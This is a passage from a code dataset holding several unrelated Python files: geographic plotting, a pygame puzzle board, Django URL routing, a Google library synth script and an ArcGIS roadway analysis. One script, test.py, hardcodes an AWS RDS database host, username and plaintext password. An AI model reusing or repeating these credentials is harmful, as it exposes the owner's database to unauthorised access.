args.load_source)\n","sub_path":"evolve/vrp_evolve.py","file_name":"vrp_evolve.py","file_ext":"py","file_size_in_byte":3534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"87628054","text":"# This file was used to produce Figure 5\n\nfrom mpl_toolkits import basemap as bm\nfrom matplotlib import pyplot as plt\nfrom matplotlib import colors\nimport numpy as np\nimport pandas as pd\nimport numpy.ma as ma\nimport matplotlib.gridspec as gridspec\n\nD0 = pd.read_pickle('/home/riqo/surface_snow_files/average_values_january')\nD1 = pd.read_pickle('/home/riqo/surface_snow_files/average_values_february')\nD2 = pd.read_pickle('/home/riqo/surface_snow_files/average_values_june')\nD3 = pd.read_pickle('/home/riqo/surface_snow_files/average_values_october')\n\nround_O = np.around(D1['delta_O_snow']/5, decimals=0)*5\n\n##some fake data\nlat = D1['latitude'][:]\nlon = np.hstack((D1['longitude'], D1['longitude'][:1]))\nlon, lat = np.meshgrid(lon, lat)\n\ndelta_O_snow0 = np.hstack((D0['delta_O_snow'], D0['delta_O_snow'][:,:1]))\ndelta_O_snow1 = np.hstack((D1['delta_O_snow'], D1['delta_O_snow'][:,:1]))\ndelta_O_snow2 = np.hstack((D2['delta_O_snow'], D2['delta_O_snow'][:,:1]))\ndelta_O_snow3 = np.hstack((D3['delta_O_snow'], D3['delta_O_snow'][:,:1]))\n\nmost_northern_point = 133\n\nminimum = min(\n np.nanmin(D0['delta_O_snow'][most_northern_point:,:]), np.nanmin(D1['delta_O_snow'][most_northern_point:,:]),\n np.nanmin(D2['delta_O_snow'][most_northern_point:,:]), np.nanmin(D3['delta_O_snow'][most_northern_point:,:])\n)\n\nmaximum = max(\n np.nanmax(D0['delta_O_snow'][most_northern_point:,:][np.nonzero(D0['delta_O_snow'][most_northern_point:,:])]),\n np.nanmax(D1['delta_O_snow'][most_northern_point:,:][np.nonzero(D1['delta_O_snow'][most_northern_point:,:])]),\n np.nanmax(D2['delta_O_snow'][most_northern_point:,:][np.nonzero(D2['delta_O_snow'][most_northern_point:,:])]),\n np.nanmax(D3['delta_O_snow'][most_northern_point:,:][np.nonzero(D3['delta_O_snow'][most_northern_point:,:])])\n)\n\nrounded_minimum = np.around(minimum/5, decimals=0)*5\nrounded_maximum = np.around(maximum/5, decimals=0)*5\n\nfig, axes = plt.subplots(nrows=2, ncols=2, figsize=(6,6))\n\naxes[0,0].set_title('January')\nm = bm.Basemap(projection='spstere', boundinglat=-65, lon_0=180, resolution='l', ax = axes[0,0])\nm.drawcoastlines(linewidth=0.5)\n\naxes[0,1].set_title('February')\nm = bm.Basemap(projection='spstere', boundinglat=-65, lon_0=180, resolution='l', ax = axes[0,1])\nm.drawcoastlines(linewidth=0.5)\n\naxes[1,0].set_title('June')\nm = bm.Basemap(projection='spstere', boundinglat=-65, lon_0=180, resolution='l', ax = axes[1,0])\nm.drawcoastlines(linewidth=0.5)\n\naxes[1,1].set_title('October')\nm = bm.Basemap(projection='spstere', boundinglat=-65, lon_0=180, resolution='l', ax = axes[1,1])\nm.drawcoastlines(linewidth=0.5)\n\nx,y = m(lon,lat)\n\npcol0 = axes[0,0].pcolormesh(x, y, delta_O_snow0, cmap='viridis', vmin = rounded_minimum, vmax = rounded_maximum)\npcol1 = axes[0,1].pcolormesh(x, y, delta_O_snow1, cmap='viridis', vmin = rounded_minimum, vmax = rounded_maximum)\npcol2 = axes[1,0].pcolormesh(x, y, delta_O_snow2, cmap='viridis', vmin = rounded_minimum, vmax = rounded_maximum)\npcol3 = axes[1,1].pcolormesh(x, y, delta_O_snow3, cmap='viridis', vmin = rounded_minimum, vmax = rounded_maximum)\n\n##producing a mask -- seems to only work with full coordinate limits\nlons2 = np.linspace(-180,180,10000)\nlats2 = np.linspace(-90,90,5000)\nlon2, lat2 = np.meshgrid(lons2,lats2)\nx2,y2 = m(lon2,lat2)\npseudo_data = np.ones_like(lon2)\nmasked = bm.maskoceans(lon2,lat2,pseudo_data)\nmasked.mask = ~masked.mask\n\n##plotting the mask\ncmap = colors.ListedColormap(['w'])\npcol0 = axes[0,0].pcolormesh(x2, y2, masked, cmap=cmap)\npcol1 = axes[0,1].pcolormesh(x2, y2, masked, cmap=cmap)\npcol2 = axes[1,0].pcolormesh(x2, y2, masked, cmap=cmap)\npcol3 = axes[1,1].pcolormesh(x2, y2, masked, cmap=cmap)\n\n#fig.subplots_adjust(wspace=0.1, hspace=0.1)\n\nFigures_paths = '/home/riqo/Figures/'\n\nplt.savefig(Figures_paths + 'Figure5')\n\nplt.show()\n\n\n","sub_path":"Analysis/Figures5-7/Figure5.py","file_name":"Figure5.py","file_ext":"py","file_size_in_byte":3828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"507769382","text":"#!/usr/bin/python3\n# coding=utf-8# coding=utf-8# coding=utf-8# coding=utf-8# coding=utf-8# coding=utf-8# coding=utf-8# coding=utf-8\n#import sys\nimport pymysql\nimport traceback \nimport datetime ,time\n\n\n\ndef connectdb():\n print('Creating Connection...')\n db = pymysql.connect(host=\"test.csxyg8gxd1zd.us-east-2.rds.amazonaws.com\",user=\"admin\",passwd=\"LYC438sby\",db=\"IT493\",charset=\"utf8\")\n print('Connect successfully ...')\n return db ;\n\n\ndef query(db,sql=\"select * from Orders\"):\n cursor=db.cursor()\n\n try:\n cursor.execute(sql)\n results=cursor.fetchall()\n for line in results:\n print (str(line))\n except:\n traceback.print_exc() \n print (\"ERROR :unable fetch data\")\n\ndef insertQ(db,sql = \"\"\"INSERT INTO Orders(OrderID) VALUES (10)\"\"\"):\n cursor=db.cursor()\n\n try:\n # 执行sql语句\n cursor.execute(sql)\n # 提交到数据库执行\n db.commit()\n print(\"Insert successfully\")\n except:\n # 如果发生错误则回滚\n traceback.print_exc() \n db.rollback()\n print(\"Insert faliure\")\n\n\n\ndef OrderTable(db,lim):\n print(\"-----------------------------Order Table----------------------------------\")\n\n if lim == 'all':\n sql=\"select * from Orders\"\n elif lim == \"Pending\" or lim == \"pending\":\n sql=\"select * from Orders where OrderStatus = 'Pending'\"\n\n else:\n print(\"wrong input\")\n pass\n query(db,sql)\n \n\n\n \n\ndef main():\n db=connectdb()\n #query(db,sql=\"Describe Orders\")\n\n OrderTable(db,lim=\"Pending\")\n\n #insertQ(db)\n \n db.close()\n\nif __name__=='__main__':\n main()\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"351328998","text":"# commands\nCOMMAND = 'command-request'\nBCOMMAND = 'bcommand-request'\nREGISTER = 'command-register'\nLOGIN = 'command-login'\nSTATUS = 'command-status'\nDEBUG_BREAK = 'command-debugbreak'\nHANDSHAKE = 'command-handshake'\nBATTLE = 'command-battle'\nCHALLENGE = 'command-challenge'\nMOVE = 'command-move'\nRENAME = 'command-rename'\nTEMPLATE = 'command-template'\nBUILD = 'bcommand-build'\nFORCE = 'bcommand-force'\nACTION = 'bcommand-action'\n\n# args\nDEBUG_LEVEL = 'arg-debug_level'\nUSERNAME = 'arg-username'\nPASSWORD = 'arg-password'\nVERBOSE = 'arg-verbose'\nTARGET = 'arg-target'\nDIRECTION = 'arg-direction'\nUNIT = 'arg-unit'\n\nNORTH = 'arg-north'\nSOUTH = 'arg-south'\nEAST = 'arg-east'\nWEST = 'arg-west'\n\n# responses\nLOGIN_REQUIRED = 'response-login_required'\nERR_COMMAND = 'response-error_running_command'\nERR_PROCESS = 'response-error_processing_command'\nMISS_COMMAND = 'response-missing_command'\nBAD_ARGS = 'response-bad_args'\nILLEGAL = 'response-illegal_request'\n\nerrors = [\n ERR_COMMAND,\n ERR_PROCESS,\n MISS_COMMAND,\n BAD_ARGS,\n ILLEGAL,\n]","sub_path":"game_files/requests.py","file_name":"requests.py","file_ext":"py","file_size_in_byte":1045,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"14840218","text":"import Global\nimport pygame\nimport sqlite3\nimport Combo\nimport HP_bar\nimport Bezier_curve\nimport Pony_bar\nimport random\nimport Battle\n\n#constant\nclass Local(object):\n\t@staticmethod\n\tdef load_CM(pony_list):\n\t\tconn=sqlite3.connect(Global.database_name)\n\t\tc=conn.cursor()\n\t\tconst=c.execute('''select var, value\n\t\t\tfrom const\n\t\t\twhere field=\"CM_board\"''')\n\t\tfor var, value in const :\n\t\t\tif var == \"background\" :\n\t\t\t\tpic=pygame.image.load(value).convert()\n\t\t\t\tCM_board.background=pygame.transform.scale(pic,\n\t\t\t\t\t\tLocal.window_size)\n\t\t\t\tbreak\n\t\tfor i in pony_list :\n\t\t\tCM_list=c.execute('''\n\t\t\tselect CM.id, CM.name, CM.pic\n\t\t\tfrom cutie_mark as CM, pony, pony_CM\n\t\t\twhere CM.id=pony_CM.CM_id and\n\t\t\t\tpony.id=pony_CM.pony_id and\n\t\t\t\tpony.id=%d ''' % i)\n\t\t\tfor ID, name, filename in CM_list:\n\t\t\t\tif name in Cutie_mark.CM_name :\n\t\t\t\t\tcontinue\n\t\t\t\tCutie_mark.add_CM(ID, name, filename)\n\n\t@staticmethod\n\tdef init():\n\t\tGlobal.load_const(Local, \"CM_board\")\n\nLocal.init()\n\nclass Cutie_mark(object):\n\tCM_len=0\n\tCM_ID=[]\n\tCM_name=[]\n\tCM_pic=[]\n\n\t@classmethod\n\tdef end(cls):\n\t\tcls.CM_len=0\n\t\tcls.CM_ID=[]\n\t\tcls.CM_name=[]\n\t\tcls.CM_pic=[]\n\n\t@staticmethod\n\tdef CM_pos_to_screen_pos(pos):\n\t\tx, y=pos\n\t\tx*=Local.CM_size[0]\n\t\ty*=Local.CM_size[1]\n\t\tx+=Local.left_top_point[0]\n\t\ty+=Local.left_top_point[1]\n\t\treturn (x, y)\n\n\t@staticmethod\n\tdef CM_pos_to_screen_pos_middle(pos):\n\t\tx, y=CM_pos_to_screen_pos(pos)\n\t\tx+=Local.CM_size[0]/2\n\t\ty+=Local.CM_size[0]/2\n\t\treturn (x, y)\n\n\t@staticmethod\n\tdef screen_pos_to_CM_pos(pos):\n\t\tx, y = pos\n\t\tx-=Local.left_top_point[0]\n\t\ty-=Local.left_top_point[1]\n\t\tpx=x/Local.CM_size[0]\n\t\tpy=y/Local.CM_size[1]\n\t\tif px<0 or px > Local.board_size[0]-1 :\n\t\t\treturn (-1, -1)\n\t\tif py<0 or py > Local.board_size[1]-1 :\n\t\t\treturn (-1, -1)\n\t\treturn (px, py)\n\n\t@classmethod\n\tdef add_CM(cls, ID, name, filename):\n\t\tpic=pygame.image.load(filename).convert()\n\t\tpic=pygame.transform.scale(pic, Local.CM_size)\n\t\tpic.set_colorkey(Local.mask)\n\t\tcls.CM_ID.append(ID)\n\t\tcls.CM_name.append(name)\n\t\tcls.CM_pic.append(pic)\n\t\tcls.CM_len+=1\n\n\tdef draw(self):\n\t\tif self.index < 0 :\n\t\t\treturn\n\t\tif self.count==0 :\n\t\t\tpos=self.screen_pos2\n\t\t\tGlobal.screen.blit(self.CM_pic[self.index],pos)\n\t\telse :\n\t\t\tx1, y1=self.screen_pos1\n\t\t\tx2, y2=self.screen_pos2\n\t\t\ta=self.count_max - self.count\n\t\t\tb=self.count_max\n\t\t\tx=(x2-x1)*a/b+x1\n\t\t\ty=(y2-y1)*a/b+y1\n\t\t\tpos=(x, y)\n\t\t\tindex=self.index\n\t\t\tGlobal.screen.blit(self.CM_pic[index],pos)\n\n\tdef move_from(self, pos, counter):\n\t\tself.pos1=pos\n\t\tself.screen_pos1=self.CM_pos_to_screen_pos(pos)\n\t\tself.count=counter\n\t\tself.count_max=counter\n\n\tdef tick(self):\n\t\tif self.count :\n\t\t\tself.count-=1\n\t\t\treturn False\n\t\treturn True\n\n\tdef done(self):\n\t\treturn self.count == 0\n\n\tdef __init__(self, pos, index):\n\t\tself.pos2=pos\n\t\tself.screen_pos2=self.CM_pos_to_screen_pos(pos)\n\t\tself.count=0\n\t\tself.index=index\n\nclass Holding_CM(Cutie_mark):\n\t@classmethod\n\tdef start(cls):\n\t\tcls.pos=(-1, -1)\n\t\tcls.index=-1\n\n\t@classmethod\n\tdef hold(cls, pos, index):\n\t\tcls.pos=pos\n\t\tcls.index=index\n\n\t@classmethod\n\tdef release(cls):\n\t\tcls.pos=(-1, -1)\n\t\tcls.index=-1\n\n\t@classmethod\n\tdef move(cls, pos):\n\t\tcls.pos=pos\n\n\t@classmethod\n\tdef tick(cls):\n\t\treturn True\n\n\t@classmethod\n\tdef draw(cls):\n\t\tif cls.index < 0 :\n\t\t\treturn\n\t\tx, y=pygame.mouse.get_pos()\n\t\tGlobal.screen.blit(cls.CM_pic[cls.index],\n\t\t\t[x-Local.CM_size[0]/2,\n\t\t\ty-Local.CM_size[1]/2])\n\nclass CM_board(object):\n\tWAITING=0 #waiting for player move the cutie mark\n\tHOLDING=1 #player is holding the cutie mark\n\tELIMINATING=2 #eliminating cutie mark\n\tFALLING=3 #cutie mark falling\n\tLOCKED=4\n\tWAITING_TO_BE_UNLOCKED=5\n\tboard=[[Cutie_mark((x, y),0) for y in range(0, 5)]\n\t\t\tfor x in range(0, 6)]\n\n\t@classmethod\n\tdef start(cls, pony_list):\n\t\tcls.mode=cls.WAITING_TO_BE_UNLOCKED\n\t\tcls.first_time_eliminate=False\n\t\tcls.count=0\n\t\tHolding_CM.start()\n\t\tLocal.load_CM(pony_list)\n\t\tcls.gen_board()\n\n\t@staticmethod\n\tdef end():\n\t\tCutie_mark.end()\n\n\t@classmethod\n\tdef change_mode(cls, mode):\n\t\tif mode == cls.ELIMINATING :\n\t\t\tcls.first_time_eliminate=True\n\t\telif mode == cls.WAITING_TO_BE_UNLOCKED :\n\t\t\tBattle.notify_done()\n\t\tcls.mode=mode\n\n\t@classmethod\n\tdef draw(cls):\n\t\tpos=Local.left_top_point\n\t\tGlobal.screen.blit(cls.background, pos)\n\t\tfor column in cls.board :\n\t\t\tfor CM in column :\n\t\t\t\tCM.draw()\n\t\tHolding_CM.draw()\n\n\t@classmethod\n\tdef add_CM(cls, pos, index):\n\t\tx, y=pos\n\t\tcls.board[x][y].index=index\n\n\t@classmethod\n\tdef add_moving(cls, pos1, pos2, index, counter):\n\t\tx, y=pos2\n\t\tcls.board[x][y].move_from(pos1, counter)\n\t\tcls.board[x][y].index=index\n\n\t@classmethod\n\tdef unlock(cls):\n\t\tcls.change_mode(cls.WAITING)\n\n\t@classmethod\n\tdef check(cls, x, y, index=None, board=None):\n\t\t#outside of the board\n\t\tif x<0 or x>=Local.board_size[0] :\n\t\t\treturn 0\n\t\tif y<0 or y>=Local.board_size[1] :\n\t\t\treturn 0\n\t\t#index is different\n\t\tif index!=None and index != cls.board[x][y].index :\n\t\t\treturn 0\n\t\t#first call, index is the same as the board\n\t\tif index==None :\n\t\t\tindex=cls.board[x][y].index\n\t\t\tif index == -1 :\n\t\t\t\treturn 0\n\t\tif board==None :\n\t\t\tboard=[]\n\t\t\tfor ax in range(0, Local.board_size[0]):\n\t\t\t\ty_row=[]\n\t\t\t\tfor ay in range(0, Local.board_size[1]):\n\t\t\t\t\ty_row.append(0)\n\t\t\t\tboard.append(y_row)\n\t\telif board[x][y] == 1 :\n\t\t\treturn 0\n\t\tboard[x][y]=1\n\t\tcount=1\n\t\tcount+=cls.check(x+1, y, index, board)\n\t\tcount+=cls.check(x-1, y, index, board)\n\t\tcount+=cls.check(x, y+1, index, board)\n\t\treturn count\n\n\t@classmethod\n\tdef eliminate(cls, x, y, index=None):\n\t\tif x<0 or x>=Local.board_size[0] :\n\t\t\treturn 0\n\t\tif y>=Local.board_size[1] :\n\t\t\treturn 0\n\t\tif index!=None and index != cls.board[x][y].index :\n\t\t\treturn 0\n\t\tif index==None :\n\t\t\tindex=cls.board[x][y].index\n\t\tcls.board[x][y].index=-1\n\t\tpoint=Local.point\n\t\tname=Cutie_mark.CM_name[index]\n\t\tBezier_curve.CM_to_pony((x, y), name, point)\n\t\tcls.eliminate(x+1, y, index)\n\t\tcls.eliminate(x-1, y, index)\n\t\tcls.eliminate(x, y+1, index)\n\n\t@classmethod\n\tdef eliminate_mode(cls):\n\t\tfor y in range(0, Local.board_size[1]):\n\t\t\tfor x in range(0, Local.board_size[0]):\n\t\t\t\tcount=cls.check(x, y)\n\t\t\t\tif count>=Local.eliminate_threshold :\n\t\t\t\t\tcls.eliminate(x, y)\n\t\t\t\t\tcls.first_time_eliminate=False\n\t\t\t\t\tcls.count=Local.eliminate_count\n\t\t\t\t\tCombo.add_combo(1)\n\t\t\t\t\treturn\n\t\tif cls.first_time_eliminate :\n\t\t\tcls.change_mode(cls.LOCKED)\n\t\telse:\n\t\t\tcls.change_mode(cls.FALLING)\n\n\t@classmethod\n\tdef fall(cls, x, y):\n\t\tup_y=y-1\n\t\twhile up_y >= 0 :\n\t\t\tif cls.board[x][up_y].index > -1 :\n\t\t\t\tcls.add_moving((x, up_y),(x, y),\n\t\t\t\t\tcls.board[x][up_y].index,\n\t\t\t\t\tLocal.fall_count)\n\t\t\t\tcls.board[x][up_y].index=-1\n\t\t\t\treturn\n\t\t\tup_y-=1\n\t\tindex=random.randint(0, Cutie_mark.CM_len-1)\n\t\tcls.add_moving((x, -1), (x, y), index, Local.fall_count)\n\n\t@classmethod\n\tdef fall_mode(cls):\n\t\tfor y in range(Local.board_size[1]-1, -1, -1):\n\t\t\tfor x in range(Local.board_size[0]-1, -1, -1):\n\t\t\t\tif cls.board[x][y].index == -1 :\n\t\t\t\t\tcls.fall(x, y)\n\t\tcls.change_mode(cls.ELIMINATING)\n\n\t@classmethod\n\tdef release(cls):\n\t\tif cls.mode != cls.HOLDING :\n\t\t\treturn False\n\t\tcls.change_mode(cls.ELIMINATING)\n\t\tx, y=Holding_CM.pos\n\t\tcls.add_CM((x, y), Holding_CM.index)\n\t\tHolding_CM.release()\n\t\tHP_bar.hp_mode()\n\n\t@classmethod\n\tdef move(cls, pos):\n\t\tif cls.mode != cls.HOLDING :\n\t\t\treturn\n\t\tif pos == (-1, -1) :\n\t\t\tcls.release()\n\t\t\treturn\n\t\tif Holding_CM.pos==pos :\n\t\t\treturn\n\t\thx, hy=Holding_CM.pos\n\t\tnx, ny=pos\n\t\tindex=cls.board[hx][hy].index\n\t\tcls.add_moving((nx, ny), (hx, hy),\n\t\t\tcls.board[nx][ny].index, Local.moving_count)\n\t\tcls.board[nx][ny].index=-1\n\t\tHolding_CM.move(pos)\n\n\t@classmethod\n\tdef hold(cls, pos):\n\t\tif cls.mode != cls.WAITING :\n\t\t\treturn False\n\t\tif pos == (-1, -1) :\n\t\t\treturn False\n\t\tx, y=pos\n\t\tHP_bar.time_mode(Local.motion_time)\n\t\tcls.change_mode(cls.HOLDING)\n\t\tHolding_CM.hold((x, y), cls.board[x][y].index)\n\t\tcls.board[x][y].index=-1\n\t\treturn True\n\n\t@classmethod\n\tdef tick(cls):\n\t\tif cls.mode==cls.HOLDING:\n\t\t\tif HP_bar.time_up() :\n\t\t\t\tcls.release()\n\t\tif cls.count :\n\t\t\tcls.count-=1\n\t\t\tdone=False\n\t\telse :\n\t\t\tdone=True\n\t\tfor column in cls.board :\n\t\t\tfor CM in column :\n\t\t\t\tdone&=CM.tick()\n\t\tdone&=Holding_CM.tick()\n\t\tif not done :\n\t\t\treturn\n\t\tif cls.mode==cls.LOCKED :\n\t\t\tif Bezier_curve.animation_done() :\n\t\t\t\tcls.change_mode(cls.WAITING_TO_BE_UNLOCKED)\n\t\tif cls.mode==cls.ELIMINATING:\n\t\t\tcls.eliminate_mode()\n\t\telif cls.mode==cls.FALLING:\n\t\t\tcls.fall_mode()\n\n\t@classmethod\n\tdef gen_board(cls):\n\t\tCM_len=Cutie_mark.CM_len-1\n\t\tfor x in range(0, Local.board_size[0]):\n\t\t\tfor y in range(0, Local.board_size[1]):\n\t\t\t\tCM=random.randint(0, CM_len)\n\t\t\t\tcls.add_moving((x, -1),(x, y), CM,\n\t\t\t\t\tLocal.fall_count)\n\nstart=CM_board.start\nend=CM_board.end\ndraw=CM_board.draw\ntick=CM_board.tick\nmove=CM_board.move\nhold=CM_board.hold\nrelease=CM_board.release\ngen_board=CM_board.gen_board\nunlock=CM_board.unlock\nscreen_pos_to_CM_pos=Cutie_mark.screen_pos_to_CM_pos\nCM_pos_to_screen_pos_middle=Cutie_mark.CM_pos_to_screen_pos_middle\nCM_pos_to_screen_pos=Cutie_mark.CM_pos_to_screen_pos\n","sub_path":"bin/CM_board.py","file_name":"CM_board.py","file_ext":"py","file_size_in_byte":8841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"518160255","text":"\"\"\"practiceme URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path,include\n#from django.conf.urls import path\nfrom django.conf import settings\nfrom appatt.views import ( index, user_login, user_logout,\n success, ProfileUpdate, MyProfile)\n\n#from apphi.views import Product_Createview\nurlpatterns = [\n\n path('admin/', admin.site.urls),\n #path('we/', views.Product_Createview.as_view()),\n #product('go/', views.Product_Formview.as_view()),\n path('employee/', include('appatt.urls')),\n path('login/', user_login, name=\"user_login\"),\n path('success/', success, name=\"user_success\"),\n path('logout/', user_logout, name=\"user_logout\"),\n path('profile/', MyProfile.as_view(), name=\"my_profile\"),\n path('profile/update', ProfileUpdate.as_view(), name=\"update_profile\"),\n \n\n\n\n\n\n\n\n\n\n ]","sub_path":"practiceme/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"213504994","text":"# Copyright 2018 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"This script is used to synthesize generated parts of this library.\"\"\"\n\nimport re\n\nimport synthtool as s\nfrom synthtool import gcp\nfrom synthtool.languages import python\n\ngapic = gcp.GAPICBazel()\ncommon = gcp.CommonTemplates()\nversions = [\"v1beta1\", \"v1\"]\n\n\n# ----------------------------------------------------------------------------\n# Generate automl GAPIC layer\n# ----------------------------------------------------------------------------\nfor version in versions:\n library = gapic.py_library(\n service=\"automl\",\n version=version,\n bazel_target=f\"//google/cloud/automl/{version}:automl-{version}-py\",\n include_protos=True\n )\n\n\n s.move(library, excludes=[\"README.rst\", \"docs/index.rst\", \"setup.py\", \"*.tar.gz\"])\n\n# Add TablesClient and GcsClient to v1beta1\ns.replace(\nf\"google/cloud/automl_v1beta1/__init__.py\",\n\"\"\"from \\.services\\.auto_ml import AutoMlClient\nfrom \\.services\\.prediction_service import PredictionServiceClient\"\"\",\n\"\"\"from .services.auto_ml import AutoMlClient\nfrom .services.prediction_service import PredictionServiceClient\nfrom .services.tables.gcs_client import GcsClient\nfrom .services.tables.tables_client import TablesClient\"\"\"\n)\n\ns.replace(\n f\"google/cloud/automl_v1beta1/__init__.py\",\n f\"\"\"__all__ = \\(\"\"\",\n \"\"\"__all__ = (\"GcsClient\", \"TablesClient\",\"\"\"\n)\n\ns.replace(\n \"docs/automl_v1beta1/services.rst\",\n \"\"\"(google\\.cloud\\.automl_v1beta1\\.services\\.prediction_service\n :members:\n :inherited-members:)\"\"\",\n \"\"\"\\g<1>\\n.. automodule:: google.cloud.automl_v1beta1.services.tables\n :members:\n :inherited-members:\"\"\"\n)\n\n# ----------------------------------------------------------------------------\n# Add templated files\n# ----------------------------------------------------------------------------\ntemplated_files = common.py_library(\n unit_cov_level=82, cov_level=83, samples=True, microgenerator=True,\n unit_test_extras=[\"pandas\", \"storage\"],\n system_test_extras=[\"pandas\", \"storage\"]\n)\n\npython.py_samples(skip_readmes=True)\n\ns.move(templated_files)\n\n# TODO(busunkim): Use latest sphinx after microgenerator transition\ns.replace(\"noxfile.py\", \"\"\"['\"]sphinx['\"]\"\"\", '\"sphinx<3.0.0\"')\n# TODO(busunkim): Remove after microgenerator transition.\n# This is being added to AutoML because the proto comments are long and\n# regex replaces are a brittle temporary solution.\ns.replace(\n\"noxfile.py\",\n\"\"\"'-W', # warnings as errors\n\\s+'-T', \\# show full traceback on exception\"\"\",\n\"\"\"\"-T\", # show full traceback on exception\"\"\")\n\n\n# install with extras (pandas, storage)\ns.replace(\n \"noxfile.py\",\n \"\"\"session\\.install\\(['\"]-e['\"], ['\"]\\.['\"]\\)\"\"\",\n \"\"\"session.install(\"-e\", \".[pandas,storage]\")\"\"\",\n)\n\ns.shell.run([\"nox\", \"-s\", \"blacken\"], hide_output=False)\n","sub_path":"synth.py","file_name":"synth.py","file_ext":"py","file_size_in_byte":3341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"286996367","text":"import arcpy, os\nFC_Frontage_Roads = arcpy.GetParameterAsText(0)\nFC_Centerlines = arcpy.GetParameterAsText(1)\nRouted_SubFiles = arcpy.GetParameterAsText(2)\nDistrict_Boundaries = arcpy.GetParameterAsText(3)\nMPO_Boundaries = arcpy.GetParameterAsText(4)\noutputFolder = arcpy.GetParameterAsText(5)\nscracthSpace = outputFolder + os.sep + \"scratchSpace\" + os.sep\n\nif not os.path.exists(scracthSpace):\n\tos.makedirs(scracthSpace)\n\ninputs_to_merge = [Routed_SubFiles, FC_Centerlines, FC_Frontage_Roads]\nFC_roadways_merged = scracthSpace + \"temp_FC_roadways_merged.shp\"\nDistrict_Boundaries_w_o_MPO = scracthSpace + \"temp_District_Boundaries_w_o_MPO.shp\"\n\n\nintersect_features1 = [FC_roadways_merged, MPO_Boundaries]\nFC_roads_by_MP0 = scracthSpace + \"temp_FC_roads_by_MPO.shp\"\n\nintersect_features2 = [FC_roadways_merged, District_Boundaries_w_o_MPO]\nFC_roads_by_District = scracthSpace + \"temp_FC_roads_by_District.shp\"\n\nFinal_FC_Roads_by_MPO = outputFolder + os.sep + \"FC_Roads_by_MPO.shp\"\nFinal_FC_Roads_by_Districts = outputFolder + os.sep + \"FC_Roads_by_Districts.shp\"\n\narcpy.SetProgressor(\"step\", \"Merging... Please Wait (this can take a while)\", 0,9,1)\narcpy.AddMessage(\"Merging Datasets:\\n%s\\n%s\\n%s\" % (inputs_to_merge[0],inputs_to_merge[1],inputs_to_merge[2]))\narcpy.Merge_management(inputs_to_merge, FC_roadways_merged)\narcpy.AddMessage(\"File Created: %s\\n\" % FC_roadways_merged)\narcpy.SetProgressorPosition()\n\narcpy.SetProgressorLabel(\"Erase Analysis...\") \narcpy.AddMessage(\"Creating Distrct Bounadries without MPOs\")\narcpy.Erase_analysis(District_Boundaries, MPO_Boundaries, District_Boundaries_w_o_MPO )\narcpy.AddMessage(\"File Created: %s\\n\" % District_Boundaries_w_o_MPO )\narcpy.SetProgressorPosition()\n\narcpy.SetProgressorLabel(\"Intersect Analysis...\") \narcpy.AddMessage(\"Intersecting... %s\\nby... %s\" % (intersect_features1[0], intersect_features1[1]))\narcpy.Intersect_analysis(intersect_features1, FC_roads_by_MPO, \"ALL\", \"\", \"LINE\")\narcpy.AddMessage(\"File Created: %s\\n\" % FC_Roads_by_MPO)\narcpy.SetProgressorPosition()\n\narcpy.SetProgressorLabel(\"Intersect Analysis...\") \narcpy.AddMessage(\"Intersecting... %s\\nby... %s\" % (intersect_features2[0], intersect_features2[1]))\narcpy.Intersect_analysis(intersect_features2, FC_roads_by_District, \"ALL\", \"\", \"LINE\")\narcpy.AddMessage(\"File Created: %s\\n\" % FC_roads_by_District)\narcpy.SetProgressorPosition()\n\narcpy.SetProgressorLabel(\"Dissolving by MPO...\") \narcpy.AddMessage(\"Dissolving... %s\\nby... FUNCL_2008 and MPO_LBL\" % FC_roads_by_MP0)\narcpy.Dissolve_management(FC_roads_by_MP0, Final_FC_Roads_by_MPO, \"FUNCL_2008;MPO_LBL\", \"\", \"MULTI_PART\", \"DISSOLVE_LINES\")\narcpy.AddMessage(\"File Created: %s\\n\" % Final_FC_Roads_by_MPO)\narcpy.SetProgressorPosition()\n\narcpy.SetProgressorLabel(\"Dissolving by District...\") \narcpy.AddMessage(\"Dissolving... %s\\nby... FUNCL_2008 and DIST_NM\" % FC_roads_by_District)\narcpy.Dissolve_management(FC_roads_by_District, Final_FC_Roads_by_Districts, \"FUNCL_2008;DIST_NM\", \"\", \"MULTI_PART\", \"DISSOLVE_LINES\")\narcpy.AddMessage(\"File Created: %s\\n\" % Final_FC_Roads_by_Districts)\narcpy.SetProgressorPosition()\n\narcpy.SetProgressorLabel(\"Adding Field...\")\narcpy.AddMessage(\"Adding Field TTL_MILES to %s...\" % Final_FC_Roads_by_MPO)\narcpy.AddField_management(Final_FC_Roads_by_MPO, \"TTL_MILES\", \"FLOAT\", \"9\", \"4\", \"\", \"\", \"NON_NULLABLE\", \"NON_REQUIRED\")\narcpy.AddMessage(\"Field add complete\\n\")\narcpy.SetProgressorPosition()\n\narcpy.SetProgressorLabel(\"Adding 